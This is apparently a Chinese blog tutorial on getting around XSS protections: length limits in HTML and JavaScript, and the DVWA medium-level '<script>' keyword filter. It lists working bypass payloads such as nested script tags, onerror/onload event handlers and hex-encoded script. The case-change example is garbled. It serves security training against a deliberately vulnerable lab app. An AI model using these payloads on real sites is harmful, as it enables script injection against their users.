xss的防护类型有很多,这里主要讲绕过长度限制和关键字过滤两种防护


1.长度限制

长度限制前端防护有两种,都很好绕过,一种是html代码中加 <maxlength="10">

xss绕过防护_防护

这个直接用火狐的firebug改就可以了

第二种就是js验证,这个用burpsuite抓包改包即可

2.是关键字过滤

像dvwa中的中级代码中就对<script>进行了过滤

<?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

 $isempty = true;

} else {

 echo '<pre>';
 echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
 echo '</pre>'; 

}

?>

绕过思路

(1)<s<script>c<script>r<script>i<script>p<script>t>alert(1)
</s<script>c<script>r<script>i<script>p<script>t>
(2)转换大小写(正则表达式未匹配大小写)如:<script>alert(1)</script>

(3)使用其他语句执行js
<body onload="alert(1)">//按钮事件
<img src ="" onerror="alert(1)">//加载图片,图片不存在加载后面的语句
(4)hex编码

<script>alert(1);</script> 可以转换为:%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3B%3C%2F%73%63%72%69%70%74%3E,加载到url中就可以了


pass:过滤大小写的情况$name=preg_replace("/<script>/i","",$name);//过滤大小写的script(/i,大小写都替换)